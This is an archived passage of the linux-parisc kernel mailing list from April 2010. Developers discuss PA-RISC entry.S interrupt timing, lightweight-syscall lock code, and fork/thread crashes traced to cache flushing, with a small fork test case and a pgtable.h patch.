 1:	ldw	0(%sr3,%r26), %r28
 	sub,<>	%r28, %r25, %r0
 2:	stw	%r24, 0(%sr3,%r26)
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	/* Return to userspace, set no error */
 	b	lws_exit
@@ -615,12 +606,10 @@ cas_action:
 
 3:		
 	/* Error occured on load or store */
-#ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# if ENABLE_LWS_DEBUG
+#if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
-# endif
 #endif
 	b	lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
@@ -672,7 +661,6 @@ ENTRY(sys_call_table64)
 END(sys_call_table64)
 #endif
 
-#ifdef CONFIG_SMP
 	/*
 		All light-weight-syscall atomic operations 
 		will use this set of locks 
@@ -694,8 +682,6 @@ ENTRY(lws_lock_start)
 	.endr
 END(lws_lock_start)
 	.previous
-#endif
-/* CONFIG_SMP for lws_lock_start */
 
 .end
 

--AkbCVLjbJ9qUtAXD--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Avoid interruption in critical region in entry.S
Date: Sun, 11 Apr 2010 13:24:13 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1271010253.2806.656.camel@mulgrave.site>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
	 <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
	 <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
	 <20100411171255.GC7756@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271010261 1116 80.91.229.12 (11 Apr 2010 18:24:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 18:24:21 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 20:24:19 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O11pS-0002o1-Ci
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 20:24:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752693Ab0DKSYQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 14:24:16 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50364 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752456Ab0DKSYQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 14:24:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B40D78EE100;
	Sun, 11 Apr 2010 11:24:15 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JkDGFI9heMwj; Sun, 11 Apr 2010 11:24:15 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1FA598EE0DD;
	Sun, 11 Apr 2010 11:24:15 -0700 (PDT)
In-Reply-To: <20100411171255.GC7756@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2784
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2784>

On Sun, 2010-04-11 at 13:12 -0400, John David Anglin wrote:
> On Fri, 09 Apr 2010, Carlos O'Donell wrote:
> 
> > We need to start splitting up your giant "stability" patch into
> > manageable chunks.
> 
> Here's the fourth chunk.  Am I being paranoid?

Could you explain what difference you think it makes ... because I can't
really see one.

All the patch seems to be doing is setting r1 to the stack pointer with
interrupts enabled and then copying the value with interrupts disabled,
which is fine, but I don't see how it's different from setting r30
directly from the task entry within the interrupt disabled region.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Avoid interruption in critical region in entry.S
Date: Sun, 11 Apr 2010 14:45:13 -0400
Organization: nrc.ca
Lines: 36
Approved: news@gmane.org
Message-ID: <20100411184512.GA8981@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100411171255.GC7756@hiauly1.hia.nrc.ca> <1271010253.2806.656.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1271011534 5201 80.91.229.12 (11 Apr 2010 18:45:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 18:45:34 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 20:45:30 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O129n-0002FL-5Y
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 20:45:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752743Ab0DKSpR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 14:45:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3321 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752731Ab0DKSpR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 14:45:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9A97D5057; Sun, 11 Apr 2010 14:45:14 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1271010253.2806.656.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2785
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2785>

On Sun, 11 Apr 2010, James Bottomley wrote:

> On Sun, 2010-04-11 at 13:12 -0400, John David Anglin wrote:
> > On Fri, 09 Apr 2010, Carlos O'Donell wrote:
> > 
> > > We need to start splitting up your giant "stability" patch into
> > > manageable chunks.
> > 
> > Here's the fourth chunk.  Am I being paranoid?
> 
> Could you explain what difference you think it makes ... because I can't
> really see one.
> 
> All the patch seems to be doing is setting r1 to the stack pointer with
> interrupts enabled and then copying the value with interrupts disabled,
> which is fine, but I don't see how it's different from setting r30
> directly from the task entry within the interrupt disabled region.

If it is possible for an interruption such as a data TLB miss to occur
in the instruction that loads the stack pointer, then the period while
interrupts are disabled will be extended while the TLB miss is handled.
So, placing the load outside the critical region keeps the period where
interrupts are disabled as short as possible.

It may not be a big deal here but in time critical code issues like this
are important.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 11 Apr 2010 20:50:31 +0200
Lines: 137
Approved: news@gmane.org
Message-ID: <4BC219F7.5020204@gmx.de>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca> <4BC0E3AD.4050802@gmx.de> <20100410225355.GA2812@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000500000600050604070103"
X-Trace: dough.gmane.org 1271011845 6225 80.91.229.12 (11 Apr 2010 18:50:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 18:50:45 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 20:50:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O12F1-00059v-2A
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 20:50:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752762Ab0DKSul (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 14:50:41 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:37453 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752747Ab0DKSuk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 14:50:40 -0400
Original-Received: (qmail invoked by alias); 11 Apr 2010 18:50:37 -0000
Original-Received: from p54AD1B39.dip0.t-ipconnect.de (EHLO halden.box) [84.173.27.57]
  by mail.gmx.net (mp056) with SMTP; 11 Apr 2010 20:50:37 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/f0uhDwFPf8oD/fMoYJHNkdiGySsaU8lOt0/A+ig
	2gDKUaYl1dWNdE
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100410225355.GA2812@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47999999999999998
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2786
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2786>

This is a multi-part message in MIME format.
--------------000500000600050604070103
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

On 04/11/2010 12:53 AM, John David Anglin wrote:
> On Sat, 10 Apr 2010, Helge Deller wrote:
> 
>> Nevertheless, on my B2000 (32bit, SMP, 2.6.32.2 kernel) I still do see the minifail bug.
>> The only difference seems to be, that the minifail3 program doesn't get stuck any
>> more. It still crashes though from time to time...
> 
> There are some issues with your minifail3.c testcase.  The fork'd child
> shouldn't do any I/O and it should exit using _exit(0).  Otherwise, it
> can corrupt the I/O structures of the parent.  I'm not sure that this
> is the issue on your B2000, but it's worth a try.
> 
> The testcase when modified as above doesn't crash on my c3750 (32bit, UP,
> 2.6.32.2 kernel).
> 
> I found in debugging this testcase that the crash was always associated
> with the stack region for thread_run.  I put a big loop in thread_run.
> The index for the loop when compiled at -O0 is constantly being saved
> and restored on the stack.  I found that crashes occured after many
> iterations of the loop.  Nothing else was going on.
> 
> The COW discussion convinced me that cache flushing was the problem.
> The fork (clone) syscall causes the stack region used by thread_run
> to become COW'd.  When thread_run is scheduled, the loop caused an
> instant COW break and stack corruption.  The state of the stack region
> generally returned to its state before the fork.
> 
> If the above doesn't fix the testcase on your B2000, there must be
> some difference and other PA8000 machines.

Hi Dave,

I did tested the attached testcase. I think this is the version you sent last
time, and which has the _exit(0).

Nevertheless, I still see the crashes with all kernel patches applied.

What I usually do is to start up more than 8 screen sessions. In each of the
sessions I start the bash loop:
-> i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;
and detach from the screen sessions.
After some time, the load goes up to 8-16 and a few crashes fill the syslog.
I'm sure the crashes are related to how much load the machine is, and how
often process switches will happen.
How many minifail testcases do you run in parallel?


ls3017:/scratch/linux-git# uname -a

Linux ls3017 2.6.33.2-32bit #31 SMP Fri Apr 9 12:36:49 CEST 2010 parisc GNU/Linux

ls3017:/scratch/linux-git# cat /proc/cpuinfo 

cpu family      : PA-RISC 2.0

cpu             : PA8500 (PCX-W)

cpu MHz         : 440.000000

model           : 9000/785/J5000

model name      : Forte W 2-way

I-cache         : 512 KB

D-cache         : 1024 KB (WB, direct mapped)

ITLB entries    : 160

DTLB entries    : 160 - shared with ITLB


Helge

--------------000500000600050604070103
Content-Type: text/plain;
 name="minifail_dave.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="minifail_dave.cpp"

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

/*
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

  clone(child_stack=0x4088d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x4108c4e8, tls=0x4108c900, child_tidptr=0x4108c4e8) = 14819
[pid 14819] set_robust_list(0x4108c4f0, 0xc) = 0
[pid 14818] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 14820

 g++  minifail.cpp -o minifail -O0 -pthread -g

 i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;

 */
void* thread_run(void* arg) {
	write(1,"Thread OK.\n",11);
}

int pure_test() {
	pthread_t thread;
	pthread_create(&thread, NULL, thread_run, NULL);

	switch (fork()) {
		case -1:
			perror("fork() failed");
		case 0:
			write(1,"Child OK.\n",10);
			_exit(0);
		default:
			break;
		
	}
	
	pthread_join(thread, NULL);
	return 0;
}

int main(int argc, char** argv) {
	return pure_test();
}


--------------000500000600050604070103--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Avoid interruption in critical region in entry.S
Date: Sun, 11 Apr 2010 13:53:07 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <1271011987.2806.660.camel@mulgrave.site>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
	 <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
	 <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
	 <20100411171255.GC7756@hiauly1.hia.nrc.ca>
	 <1271010253.2806.656.camel@mulgrave.site>
	 <20100411184512.GA8981@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271011994 6709 80.91.229.12 (11 Apr 2010 18:53:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 18:53:14 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 20:53:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O12HP-00061J-IH
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 20:53:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752772Ab0DKSxK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 14:53:10 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33109 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752693Ab0DKSxJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 14:53:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 88F998EE100;
	Sun, 11 Apr 2010 11:53:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id LLE9pnPsPd9z; Sun, 11 Apr 2010 11:53:09 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DEE938EE0DD;
	Sun, 11 Apr 2010 11:53:08 -0700 (PDT)
In-Reply-To: <20100411184512.GA8981@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2787
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2787>

On Sun, 2010-04-11 at 14:45 -0400, John David Anglin wrote:
> On Sun, 11 Apr 2010, James Bottomley wrote:
> 
> > On Sun, 2010-04-11 at 13:12 -0400, John David Anglin wrote:
> > > On Fri, 09 Apr 2010, Carlos O'Donell wrote:
> > > 
> > > > We need to start splitting up your giant "stability" patch into
> > > > manageable chunks.
> > > 
> > > Here's the fourth chunk.  Am I being paranoid?
> > 
> > Could you explain what difference you think it makes ... because I can't
> > really see one.
> > 
> > All the patch seems to be doing is setting r1 to the stack pointer with
> > interrupts enabled and then copying the value with interrupts disabled,
> > which is fine, but I don't see how it's different from setting r30
> > directly from the task entry within the interrupt disabled region.
> 
> If it is possible for an interruption such as a data TLB miss to occur
> in the instruction that loads the stack pointer, then the period while
> interrupts are disabled will be extended while the TLB miss is handled.
> So, placing the load outside the critical region keeps the period where
> interrupts are disabled as short as possible.

Agreed, it's possible

> It may not be a big deal here but in time critical code issues like this
> are important.

I suppose it can't hurt ... TLB fault interruptions in interrupts are a
fact of life on PA ... even if it can be avoided in this case, there's
still hundreds of others where it can't.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 11 Apr 2010 18:25:54 -0400
Organization: nrc.ca
Lines: 74
Approved: news@gmane.org
Message-ID: <20100411222554.GA10147@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca> <4BC0E3AD.4050802@gmx.de> <20100410225355.GA2812@hiauly1.hia.nrc.ca> <4BC219F7.5020204@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1271024765 12798 80.91.229.12 (11 Apr 2010 22:26:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 22:26:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 12 00:26:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O15bL-0001iT-88
	for glpp-linux-parisc@lo.gmane.org; Mon, 12 Apr 2010 00:25:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753099Ab0DKWZ6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 18:25:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3329 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753010Ab0DKWZ6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 18:25:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A6C6E5057; Sun, 11 Apr 2010 18:25:55 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BC219F7.5020204@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2788
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2788>

On Sun, 11 Apr 2010, Helge Deller wrote:

> Nevertheless, I still see the crashes with all kernel patches applied.
> 
> What I usually do is to start up more than 8 screen sessions. In each of the
> sessions I start the bash loop:
> -> i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;
> and detach from the screen sessions.
> After some time, the load goes up to 8-16 and a few crashes fill the syslog.
> I'm sure the crashes are related to how much load the machine is, and how
> often process switches will happen.
> How many minifail testcases do you run in parallel?

Sigh, never more than one...

That said, I did realize last night that the cache flush in ptep_set_wrprotect
based on pte_dirty was flawed.  In a SMP kernel with a user on a different
cpu pounding on the page to be write protected, there was a race between
the pte_dirty check and the write protect.

Further, I don't believe the dirty bit is reliable.  Our cmpxchg is not
atomic with respect to changes in the dirty bit.  Thus, there is a small
window where a change in the dirty bit could get lost.

So for now, I think it safest to move the flush after the setting of the
write protect bit, and do it unconditionally.  This should be ok since
page faults are disabled.  I recognize that this will hurt performance.

I'm going to test the following on my rp3440.  The flushing has greatly
improved SMP userspace stability.  However, I have still seen a few issues
in the GCC testsuite.

Maybe it will help your B2000.  However, let's just go one step at a time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..e85f43c 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -14,6 +14,7 @@
 #include <linux/bitops.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -456,7 +457,7 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 #ifdef CONFIG_SMP
 	unsigned long new, old;
@@ -469,6 +470,8 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 #endif
+
+	flush_cache_page(vma, addr, pte_pfn(*ptep));
 }
 
 #define pte_same(A,B)	(pte_val(A) == pte_val(B))
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 12 Apr 2010 23:02:34 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <4BC38A6A.3020404@gmx.de>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca> <4BC0E3AD.4050802@gmx.de> <20100410225355.GA2812@hiauly1.hia.nrc.ca> <4BC219F7.5020204@gmx.de> <20100411222554.GA10147@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1271106172 15358 80.91.229.12 (12 Apr 2010 21:02:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 12 Apr 2010 21:02:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 12 23:02:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O1QmO-00078D-3j
	for glpp-linux-parisc@lo.gmane.org; Mon, 12 Apr 2010 23:02:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753886Ab0DLVCr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 12 Apr 2010 17:02:47 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:39741 "HELO mail.gmx.net"
